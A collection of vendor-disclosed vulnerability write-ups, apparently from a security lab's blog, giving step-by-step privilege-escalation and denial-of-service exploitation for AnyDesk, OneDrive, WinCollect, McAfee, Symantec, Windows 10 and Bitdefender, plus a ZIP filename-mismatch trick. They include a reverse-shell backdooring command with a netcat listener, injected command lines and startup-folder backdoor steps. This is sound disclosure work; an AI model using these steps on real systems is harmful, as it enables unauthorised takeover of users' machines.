An Elevation of Privilege (EoP) exists in AnyDesk for Windows from versions 3.1.0 to 6.3.2 (excluding 6.2.6). The vulnerability described gives the ability to a low privileged user to gain access as NT AUTHORITY\SYSTEM.
The exploitation took place in an installed version of AnyDesk .
Description
When someone asks to perform a connection to your AnyDesk, the User Interface (UI) which is presented in order for you to accept the connection and specify the permissions, runs as NT AUTHORITY\SYSTEM.
In this same UI, you can open the chat log, by pressing the “Open Chat Log”. The notepad which opens, runs as NT AUTHORITY\SYSTEM .
The escalation from that point is trivial, as presented in the following video.
Exploitation
In order to Exploit the issue, no special program is needed .
Video PoC Step By Step
The video is pretty match easy to follow.
A low privileged user, opens the AnyDesk and performs a connection to his own ID.
In the popup, he opens the “Chat Log” and from inside the notepad the low privileged user, spawns a cmd.exe as NT AUTHORITY\SYSTEM.
Resources
RedyOps team
RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.
Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.
Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.
Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.
Assigned CVE: Microsoft has publicly acknowledged and patched the issue. However, when we asked for the CVE number, Microsoft replied to us that the purpose of a CVE is to advise customers on the security risk and how to take action to protect themselves. Microsoft issues CVEs for MS products that require users to take action to update their environments . Although we have seen CVEs for OneDrive in the past, we respect their decision not to issue a CVE number.
Known to Neurosoft’s RedyOps Labs since: 31/03/2020
An Escalation of Privileges (EoP) exists in OneDrive < 20.073. The latest version we tested is OneDrive 19.232.1124.0012 and Insider Preview version 20.052.0311.0010 . The exploitation of this EoP , gives the ability to a user with low privileges to gain access as any other user. In order for the exploitation to be successful, the targeted user must interact with the OneDrive (e.g right click on the tray icon) in order for the attacker to gain access .
Description
The vulnerability arises because the OneDrive is missing some QT folders and tries to locate them from C:\QT. The C:\QT folder does not exist by default and any user with low privileges can create it. If an attacker creates the file C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qmldir with the following contents:
The OneDrive will try to load the C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qtquick2plugin.dll . As far as the attacker can place a backdoor in the qtquick2plugin.dll , the OneDrive will load the backdoor.
Exploitation
The exploit can be found in our GitHub.
Today, the provided backdoor is being detected by Defender. Bypassing Defender is not the scope of this blog-post. Our purpose is not to bypass the defender AV but to provide a Proof of Concept (PoC) of the EoP. Thus first add an exception to the Defender for the folder C:\QT (or for the provided backdoor file qtquick2plugin.dll )
Login as a low privileged user
Close your OneDrive
Copy paste the provided QT folder under the C: drive. After the copy paste, you should have the following files in your system:
C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qtquick2plugin.dll (This the qtquick2plugin.dll in which we have added a backdoor for reverse shell)
C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qmldir
C:\Qt\Qt-5.11.1\qml\QtQuick.2.7\qtquick2plugin.dll.org (this file is not needed. It’s the original qtquick2plugin.dll file.
In order for the exploitation to take place, the victim must login into the system and interact with the OneDrive. If you want to verify the exploitation perform the following:
Logout
Login as another user. For example perform a login as an Administrator.
Right click on the tray icon of the OneDrive
You should receive a reverse shell from the Administrator to your C2C.
The provided qtquick2plugin.dll contains a reverse shell which has been configured to return to the ip address 192.168.2.3 and port 8080 .
Supporting materials
In order to backdoor the qtquick2plugin.dll , we used the following:
The original file qtquick2plugin.dll (you can find one under the folder “C:\Users\youruser\AppData\Local\Microsoft\OneDrive\19.232.1124.****\qml\QtQuick.2\” )
the the-backdoor-factory from https://github.com/secretsquirrel/the-backdoor-factory
Create the backdoor with the following command line:
./backdoor.py -f qtquick2plugin.dll -H ip -P port -s reverse_shell_tcp_inline -a
Wait for the reverse shell with a netcat “nc -nlvp port”
RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.
Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.
Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.
Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.
An Elevation of Privilege (EoP) exists in IBM QRadar Wincollect 7.2.0 – 7.2.9 . The vulnerability described gives the ability to a low privileged user to delete any file from the System and disable the Wincollect service. This arbitrary delete vulnerability can be leveraged in order to gain access as NT AUTHORITY\SYSTEM. During the exploitation, the attacker disables the Wincollect service.
Description
There are two distinct root causes which can lead to the same issue (arbitrary delete): After the installation of the WinCollect, the installer remains under the folder c:\Windows\Installer . Any user with low privileges can run the installer with the following command:
msiexec /fa c:\Windows\Installer****.msi
The WinCollect’s installer, although it will eventually fail when executed by a low privileged user, it will create log files under the User’s Temp folder.
At some point, the installer will try to delete those log files as SYSTEM. As long as the user controls the files in his Temp folder (C:\Users\username\AppData\Local\Temp), they can create a symlink targeting any file in the system. When the installer tries to delete these files, it will follow the symlink and will perform the delete actions as SYSTEM.
Even if the symlinks are mitigated in the future by Microsoft, an attacker can achieve the arbitrary delete by editing the file ~xxxx.tmp .
The file C:\Users\username\AppData\Local\Temp\~xxxx.tmp where xxxx is a random hex, ends with the lines:
00:00-00:11: We present the environment. We are low privileged users and the installer file we are going to use is the 11ec43.msi . This file, belongs to IBM and is the installer file of the wincollect agent.
00:11-00:22: As low privileged users, we run the installer. At the end of this time frame (00:22) the wincollect service has stopped . We can stay at this position as long as we want to and perform any actions we want to, with the wincollect service being disabled (CVE-2020-4485).
00:22-00:58: We are going to use the technique presented by Jonas L , in order to leverage the arbitrary delete and gain access as SYSTEM. For this to be achieved, we need to delete the folder C:\ProgramData\Microsoft\Windows\WER , which can not be deleted by a low privileged user. However, some sub-folders can be deleted. At this time frame, we delete the sub-folders we are able to, without any exploitation.
00:58-02:42: By exploiting the CVE-2020-4486 , we delete the remaining files and sub-folders from the WER folder. A low privileged user, would not be able to delete those files/folders, as we presented in the previous time frame. The $INDEX_ALLOCATION is used in order to delete a folder instead of a file .
02:42-03:58: We run the exploitation procedure one more time, in order to delete the C:\ProgramData\Microsoft\Windows\WER folder. At this point, the use of CVE-2020-4486 ends. The rest of the video presents the use of this primitive in order to escalate to SYSTEM and is irrelevant to the IBM WinCollect issues.
03:58-end: Now that we have deleted the WER folder, we use the https://github.com/DimopoulosElias/Primitives is order to become a SYSTEM. Again, this has nothing to do with the IBM vulnerabilities. It’s a primitive which allows us to use any (or almost any) arbitrary delete, in order to escalate to SYSTEM.
We will leave the escalation with the use of symlinks as an exercise for you 🙂 .
RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.
Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.
Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.
Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.
An Elevation of Privilege (EoP) exists in McAfee Total Protection (MTP) < 16.0.R26 . The latest version we tested is McAfee Total Protection (MTP) 16.0.R23. The exploitation of this EoP , gives the ability to a low privileged user to create a file anywhere in the system. The file is being created with a DACL , which allows any user to edit the file. Because of this, the attacker can create a file with any chosen name.extension and edit it in order to execute the code of his choice.
If the file already exists, it will be overwritten, with an empty file.
There are many ways to abuse this issue. We chose to create a bat file in the Users Startup folder C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\backdoor.bat .
Description
Whenever a scan is initiated, the process MMSSHOST.EXE which runs as an NT AUTHORITY\SYSTEM, and without impersonation, creates the file c:\ProgramData\McAfee\MSK\settingsdb.dat .
The permissions which are assigned to this file, allow to the “Authenticated Users” to have full control over the file.
When we first log into the windows system and without performing any actions, the file c:\ProgramData\McAfee\MSK\settingsdb.dat and the files MSK*.dat in the same folder, are not locked (they are not used by any program) and we have the proper permissions in order to delete them.
After we delete these files, we can make “C:\ProgramData\McAfee\MSK\settingsdb.dat”, a symlink to any chosen file.
With the symlink in place, the initiation of a scan will trigger the execution of the MMSSHOST.EXE.
At this very moment, If we initiate a scan, the MMSSHOST.EXE will try to create the file C:\ProgramData\McAfee\MSK\settingsdb.dat , it will follow the symlink and will actually create the file which is pointed by the symlink.
After that, it will set the new permissions to that file, which allows to the “Authenticated Users” to have full control over the newly created file. Most of the times, the newly created file will remain locked and we will not be able to edit it until we reboot. After the reboot, the file is unlocked and we can edit the file and add any contents we like.
Note: Although we exploited the issue by creating symlinks of the files under the path c:\ProgramData\McAfee\MSK\ , the files under the folder c:\ProgramData\McAfee\MPF\ seem to be affected as well.
Exploitation
In order to Exploit the issue, you can use our exploit from our GitHub .
In the following paragraph, a step by step explanation of the Video PoC where we use the exploit is provided.
Video PoC Step By Step
The exploit takes as an argument the file you want to create .
00:00-02:03: We present the environment. We are low privileged users and as we can see by default, the low privileged users cannot create files under the folder C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup . The folder at the moment is empty.
02:03-02:35: We run the exploit and we pass the file we want to create as argument. In this example we pass as argument the “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat”. When the exploit instructs us to scan a file, we perform the scan and the file is created.
02:35-03:23: We present the fact that attacker has full access over the file. Moreover, we add the line “notepad.exe”, which is going to execute the notepad.exe in the context of any user which perform a login into the system. This is a bat file, so you can add the code of your choice (for example a reverse shell).
3:23-end: After the exploitation, another user logs into the system. In our example the administrator. The notepad.exe is executed because of the “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat” file.
RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.
Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.
Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.
Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.
An Elevation of Privilege (EoP) exists in SEPM 14.2 RU2 MP1. The latest version we tested is SEPM Version 14 (14.2 RU2 MP1) build 5569 (14.2.5569.2100). The exploitation of this EoP , gives the ability to a low privileged user to execute any file as SYSTEM . The exploitation can take place the moment where a remote installation of the SEP is happening. The attacker escalates privileges, not in the machine which has the SEPM installed, but in the machine which we are going to remotely push (install) the SEP in. The attacker controls the file vpremote.dat which is used in order to provide the command line for the execution of the setup. By altering the command line, the attacker can execute any chosen file. Moreover, the installation uses the C:\TEMP folder, which the user fully controls and thus further attacks with symlinks seem to be possible.
Description
Whenever Symantec Endpoint Protection Manager (SEPM) performs a client installation with remote push (Symantec Endpoint Protection Manager->Clients->Install a Client->Next->Next->Remote Push), the following actions are happening:
By providing the credentials of a user who has Administrative rights on the remote machine (local Administrator, Domain Admin, etc), the SEPM connects to the remote system in order to install the client.
In the remote system, the folder c:\TEMP\Clt-Inst\ is being created and a variety of actions are being performed as SYSTEM.
Any user with low privileges has full access in the new folders which are being created under the C:\ drive, by default. Any single user can create any folder under the C:\ drive . The inherited permissions allow him and everyone else, to edit/add/remove any file or sub folders, thus any user has full access on subfolders/files under the c:\TEMP folder.
As long as many file operations are being performed as SYSTEM, it seems possible for a user with low privileges to perform a variety of attacks with symlinks, such as Arbitrary file Creations, Arbitrary Deletes and more. These attacks are well documented, so I am not going to use any of those attacks for this blog post.
In order to present the issue, I am going to escalate my privileges from a user with low privileges and gain access as NT AUTHORITY/SYSTEM. This will be accomplished by modifying the vpremote.dat which is being created to the victim machine, in which we try to install the SEP with “remote push”. I remind that this machine is not necessarily the one which has the SEPM installed and usually is a new machine in which we try install the SEP client for first time.
During the installation process, the file vpremote.dat contains the command line which is going to be executed, probably by the vpremote.exe. This command line, instructs the execution of the setup.exe .By modifying the vpremote.dat, we can instruct the execution of our executable. In order for this to succeed, we create a vpremote.dat with the following contents:
1.exe & setup.exe
and we add our executable 1.exe , in the same folder. The 1.exe is irrelevant to the vulnerability. It’s only the file you want to execute as SYSTEM.
Exploitation
No special exploit is need.
In the following paragraph a step by step explanation of the Video PoC, is provided.
Video PoC Step By Step
00:00-00:49: The Symantec Endpoint Manager Administrator, wants to install the SEP client on a the machine 192.168.2.9 . In this time frame, we watch the non malicious SEP Manager Administrator, who opts to install the client to the machine 192.168.2.9.
00:50-end: This is the view of the machine 192.168.2.9. The SEPM Administrator, from the previous machine, is trying to install the SEP Client on this machine (192.168.2.9 ). An attacker with low privilege access, has compromised the machine 192.168.2.9 . The attacker at this point has no access to the SEP Manager, or to the Administrator’s password for this machine (192.168.2.9) . He only has low privilege access as user “attacker” on this machine (192.168.2.9).
01:15-01:19: As we can see, the folder C:\Temp\Clt-Inst\ is created and some files are added to this folder. One of the files is the vpremote.dat .
01:24-01:25: We replace the vpremote.dat with our vpremote.dat, which contains the payload “1.exe & setup.exe” and we add to the folder our malicious binary 1.exe . The file 1.exe is irrelevant. You can use any binary you like. In case you will opt to use your own binary, you may not see the window because it is being executed from the session of the system user. You can observe the process creation from the procmon or you can validate that your 1.exe has been executed, from the Task Manager.
02:06-end: The 1.exe has been executed and the cmd.exe has opened as SYSTEM. My application 1.exe, opens the cmd.exe in the attacker’s session, and this is why it is visible. If you choose your own binary (e.g the notepad.exe) it might not be visible, but you can see it running in the task manager.
RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.
Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.
Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.
Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.
One night I was bored and I wanted something to read. Some people prefer novels, others prefer poems, I prefer an RFC or an specification. So I started to read the .ZIP File Format Specification .
The overall format of a .ZIP file can be found in paragraph 4.3.6 of the specification and is the following:
4.3.6 Overall .ZIP file format:
[local file header 1]
[encryption header 1]
[file data 1]
[data descriptor 1]
.
.
.
[local file header n]
[encryption header n]
[file data n]
[data descriptor n]
[archive decryption header]
[archive extra data record]
[central directory header 1]
.
.
.
[central directory header n]
[zip64 end of central directory record]
[zip64 end of central directory locator]
[end of central directory record]
Lets take a closer look at local file header and central directory structure
4.3.7 Local file header:
local file header signature 4 bytes (0x04034b50)
version needed to extract 2 bytes
general purpose bit flag 2 bytes
compression method 2 bytes
last mod file time 2 bytes
last mod file date 2 bytes
crc-32 4 bytes
compressed size 4 bytes
uncompressed size 4 bytes
file name length 2 bytes
extra field length 2 bytes
file name (variable size)
extra field (variable size)
4.3.12 Central directory structure:
[central directory header 1]
.
.
.
[central directory header n]
[digital signature]
File header:
central file header signature 4 bytes (0x02014b50)
version made by 2 bytes
version needed to extract 2 bytes
general purpose bit flag 2 bytes
compression method 2 bytes
last mod file time 2 bytes
last mod file date 2 bytes
crc-32 4 bytes
compressed size 4 bytes
uncompressed size 4 bytes
file name length 2 bytes
extra field length 2 bytes
file comment length 2 bytes
disk number start 2 bytes
internal file attributes 2 bytes
external file attributes 4 bytes
relative offset of local header 4 bytes
file name (variable size)
extra field (variable size)
file comment (variable size)
Did you see that? The file name can be found in two places . In local file header and in central directory structure under the File header
I was trying to find which file name I MUST use, when I extract the .zip file, but I was not able to find anything. This makes me wonder, what will happen if a zip archive contains one file name in the Local file header and a different one in File header of the central directory structure?
In order to test that, I created a .ZIP file which uses the file name “test.txt” in the local file header and the file name “test.exe” in the File header. The file is the same. The file is an executable. The only difference is the file name .
part of gweeperx.zip
I have highlighted the hex values which indicate the start of the local file header and the one of the file header respectively. I have also highlighted the different file names.
I tested the above .ZIP file with different programs, libraries and sites.
It seems, that the (default/pre-installed) programs which are being used in order to unzip .ZIP files, in Linux and Windows, as well as the majority of the commercial and non commercial products, are mostly based on the file name which exists in the file header and not in the local file header .
However, there are exceptions in this rule. In fact there are many exceptions. Dropbox and JSZip (A library for creating, reading and editing .ZIP files with JavaScript, with more than 3.000.000 downloads weekly) are only two of them.
Dropbox
As it is presented, when we preview the .ZIP file in Dropbox, we can see that it contains a file with file name test.txt. However, when we download it we see another file name, the test.exe .
JSZip
The same with JSZip. As we can observe, when we read the contents of the zip archive, we find a text file. However, when we extract it, we have an executable. The unzip detects that there is a different file name in the file header and a different one in the local file header
Linux
I didn’t see that coming. If you drag and drop the file, you get a test.exe . However, if you choose to extract the contents you get a test.txt
This behavior can lead to major vulnerabilities, and we would be more than happy to hear your story or idea, if you come up with something.
One scenario would be the following:
Let’s assume that a zip archive contains an executable, the test.exe. The .ZIP uses the file name “test.txt” in the “Local file header” and “test.exe” in the “file header” . A site owner does not allow .ZIP files containing “*.exe” files to be uploaded to her server, so her web application checks with JSZip that the .ZIP does not contain files with “.exe” extension. The JSZip, will report that the .ZIP contains the text file “test.txt” and thus the web application will allow the user to upload it. However, if the web application does not extract .ZIP file with the JSZip, but instead of that, the site owner sends by e-mail these .ZIP files, or she does the extraction with the default windows unzip or with winrar or with the linux unzip, the “test.exe” is extracted.
RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.
Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.
Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.
Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.
An Elevation of Privilege (EoP) exists in SEP 14.2 RU2 . The latest version we tested is SEP Version 14(14.2 RU2 MP1) build 5569 (14.2.5569.2100). The exploitation of this EoP , gives the ability to a low privileged user to create a file anywhere in the system. The attacker partially controls the content of the file. There are many ways to abuse this issue. We chose to create a bat file in the Users Startup folder C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\backdoor.bat because we believe it is a good opportunity to present an interesting method we used, in order to bypass restrictions of this arbitrary write where we could control only partially the content .
Description
Whenever Symantec Endpoint Protection (SEP) performs a scan, it uses high privileges in order to create a log file under the folder
An attacker can create a SymLink in order to write this file anywhere in the system. As for example the following steps will force SEP to create the log file under the
The log files contain data which are partially controlled by the attacker, allowing commands to be injected into the log files. With symbolic links, we can write log files in other file formats which can lead to an EoP.
An easy way to inject code in the log files, is by naming a malicious file to
m&command&sf.exe
and scan it. This will trigger the scan and a log entry with the injected command will be created. This is caused because the filename “m&command&sf.exe” of the malicious file is being referenced in the log files. Combining this with the SymLinks, the attacker can create the valid bat file “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\backdoor.bat” .
Exploitation
In order to Exploit the issue you can use our exploit from our GitHub .
In the following paragraph a step by step explanation of the Video PoC where we use the exploit, is provided.
Video PoC Step By Step
The exploit takes 2 arguments. The first argument is the file we want the logs to be written in. The second argument, is the payload we want to inject in the logs file. If you can recall, the “payload” we are going to inject is nothing more than the filename of the malicious file which we are going to scan. So the following command will cause the SEP to create its log file to
If you decode the base64 you will have the command cmd.exe /C C:\Users\Public\1.exe
A user with low privileges can copy any file under the C:\Users\Public\ folder.
00:00 – 00:43: We present the environment; a user with low privileges, the windows version, the SEP version and the DACL of the “StartUp” folder.
00:43 – 01:18: We run the exploit. The file backdoor.bat is created and its content contains our payload.
01:18 – 01:48: We copy the calculator to C:\Users\Public\1.exe . The payload will execute anything in C:\Users\Public\1.exe . We copied the calculator for the PoC, but you can put any executable you want.
01:48 – end: When a user logs into the system (an administrator in the PoC), the file c:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\backdoor.bat is executed. This file contains lines of content, which are not valid commands. However, our payload is a valid command and it will be executed. As result powershell will execute the cmd.exe /C C:\Users\Public\1.exe and the calculator (1.exe) pops up.
It is worth mentioning, that we can also write to files which already exist. As for example we can write the contents of the log files in the C:\windows\win.ini file. This is useful if you want to delete a file. Name your malicious file, with a malicious filename and the AV will do the rest for you 🙂 .
RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.
Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.
Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.
Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.
This issue has the following description on Microsoft’s advisory:
” A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application or to convince a user to open a specific file on a network share. The vulnerability would not allow an attacker to execute code or to elevate user rights directly, but it could be used to cause a target system to stop responding.
The update addresses the vulnerability by correcting how Windows handles objects in memory.”
We will use a different description, based on the exploit we provided to Microsoft in order to abuse this vulnerability. Our description, may not be technically as accurate as Microsoft’s description, but our approach may allow someone out there to take this vulnerability beyond the DOS.
An arbitrary folder creation exists on Windows 10 1909. This specific case allows a user with low privileges to create an empty folder, with any chosen name, anywhere in the system. The folders we create inherit their DACL and thus we couldn’t find a way to exploit the issue in order to perform an Escalation of Privilege. However, we are able to exploit any arbitrary file/folder creation in order to cause a Blue Screen of Death (BSoD). The latest version we tested is windows 10 1909 (OS Build 18363.778) 64bit .
Description
A user with low privileges (the “attacker”), has full control over the folder c:\Users\attacker\AppData\Roaming\Microsoft\Windows . This, allows him to rename the folder to c:\Users\attacker\AppData\Roaming\Microsoft\Windows2 .
If a user/attacker performs the aforementioned rename action, there are specific circumstances and actions which can be followed in order to force the NT AUTHORITY\SYSTEM to recreate the following folders:
An attacker, can replace those folders with symlinks pointing to a non-existent folder somewhere in the system. When the NT AUTHORITY\SYSTEM tries to recreate the folders “Recent” and “Libraries”, will follow those symlinks and will create the non-existent folder. This way the attacker can create a folder with a chosen name, anywhere in the system.
Exploitation
Login with a user with low privileges. Assume this user has the username “attacker”.
Rename the folder C:\Users\attacker\AppData\Roaming\Microsoft\Windows to C:\Users\attacker\AppData\Roaming\Microsoft\Windows2
Run the Exploit.exe (you can find the code on our GitHub) and use as arguments the two folders you want to create. As for example:
The exploit assumes that your username is attacker. If you want to use another username, change the hard-coded paths to the exploit code and recompile.
Click the Start Button and open the “Microsoft Solitaire Collection” or “Xbox Game Bar” from the right panel. Usually one of both will trigger the creation of the arbitrary folders.
Check that the folders have been created.
The creation of the folder c:\windows\system32\cng.sys will cause a DoS in the next reboot and the system will need to be repaired.
Video PoC Step By Step
The exploit takes 2 arguments. These are the two folders we want to create. As for example
will create the folders c:\windows\system32\folder1 and c:\windows\addins\folder2 . However, you will not be able to write anything inside those folders.
00:00-00:30: Presentation of the environment. We present the user with the low privileges and the fact that the folders c:\windows\system32\cng.sys c:\windows\addins\whateverFolder do not exist in the system.
00:30 – 00:49: We run the Exploit, but it fails because we have not renamed the C:\Users\attacker\AppData\Roaming\Microsoft\Windows . First we have to rename this folder.
00:49 – 01:22: We rename the folder C:\Users\attacker\AppData\Roaming\Microsoft\Windows to C:\Users\attacker\AppData\Roaming\Microsoft\Windows2 and we run the exploit again. At this point, the exploit will create all the appropriate symlinks.
01:22 – 02:17: We open the “Xbox Game Bar” which triggers the creation of the Libraries and Recent folders. As we can observe in the Explorer, the folder c:\windows\system32\cng.sys was created. We present that both folders , c:\windows\system32\cng.sys and c:\windows\addins\whateverFolder, have been created and the owner is the “Administrators”.
02:17 – end: We reboot the system and we have the BSoD. The BSoD is caused because of the folder c:\windows\system32\cng.sys. If you choose a folder with another name, it will not cause the BSOD.
If you find a better way to use this primitive and you are willing to share, we would love to hear from you or read your write-up.
RedyOps team, uses the 0-day exploits produced by Research Labs, before vendor releases any patch. They use it in special engagements and only for specific customers.
Discovered 0-days which affect marine sector, are being contacted with the Angel Team. ANGEL has been designed and developed to meet the unique and diverse requirements of the merchant marine sector. It secures the vessel’s business, IoT and crew networks by providing oversight, security threat alerting and control of the vessel’s entire network.
Our 0-days cannot win Illicium. Today’s information technology landscape is threatened by modern adversary security attacks, including 0-day exploits, polymorphic malwares, APTs and targeted attacks. These threats cannot be identified and mitigated using classic detection and prevention technologies; they can mimic valid user activity, do not have a signature, and do not occur in patterns. In response to attackers’ evolution, defenders now have a new kind of weapon in their arsenal: Deception.
Discovered 0-days are being contacted to the Neutrify team, in order to develop related detection rules. Neutrify is Neurosoft’s 24×7 Security Operations Center, completely dedicated to threats monitoring and attacks detection. Beyond just monitoring, Neutrify offers additional capabilities including advanced forensic analysis and malware reverse engineering to analyze incidents.
An Elevation of Privileges (EoP) exists in Bitdefender Antivirus Free 2020 < 1.0.17.178 . The latest version we tested is BitDefender Free Edition 1.0.17.169. The exploitation of this EoP, gives the ability to a low privileged user to gain access as NT AUTHORITY\SYSTEM . The exploitation has been tested in installation of BitDefender on Windows 10 1909 (OS Build 18363.720) 64bit .
Description
The exploitation allows any local, low privileged user, to change the Discretionary Access Control List (DACL) of any chosen file. The access you obtain depends on which file you are going to backdoor/overwrite. In the Proof of Concept (PoC) we overwrite the file system32/wermgr.exe and we pop a cmd.exe running as NT AUTHORITY\SYSTEM . The exploitation works with the default installation of BitDefender. When the BitDefender detects a threat, it gives the ability to the user to choose what action to take. The user can choose to Quarantine the threat. After the threat has been placed in Quarantine, the user can choose to restore it. The problem arises because the BitDefeder restores the file as NT AUTHORITY\SYSTEM and without impersonating the current user. This allows the user to create a symlink and restore the file to an arbitrary location or overwrite files which are running as SYSTEM.
Exploitation
Put an EICAR file (or any other file which can be detected as a threat) under an empty folder which you fully control. For example, put an EICAR file to C:\Users\Public\Music
Scan the EICAR file (e.g C:\Users\Public\Music\eicar.txt) with the BitDefender.
When the BitDefender detects the threat, choose to Quarantine the file.
Give some time to the BitDefender and rename the folder C:\Users\Public\Music to C:\Users\Public\Music2 .
Create the symlink C:\Users\Public\Music\eicar.txt (e.g with the CreateSymlink.exe from symboliclink-testing-tools of project zero) and target the file you wish to control. For example CreateSymlink.exe C:\Users\Public\Music\eicar.txt c:\windows\system32\wermgr.exe .
Add the c:\windows\system32\wermgr.exe to the exception list of BitDefender.
Go back to BitDefender and restore the C:\Users\Public\Music\eicar.txt . The first time it may fail. Click restore again.
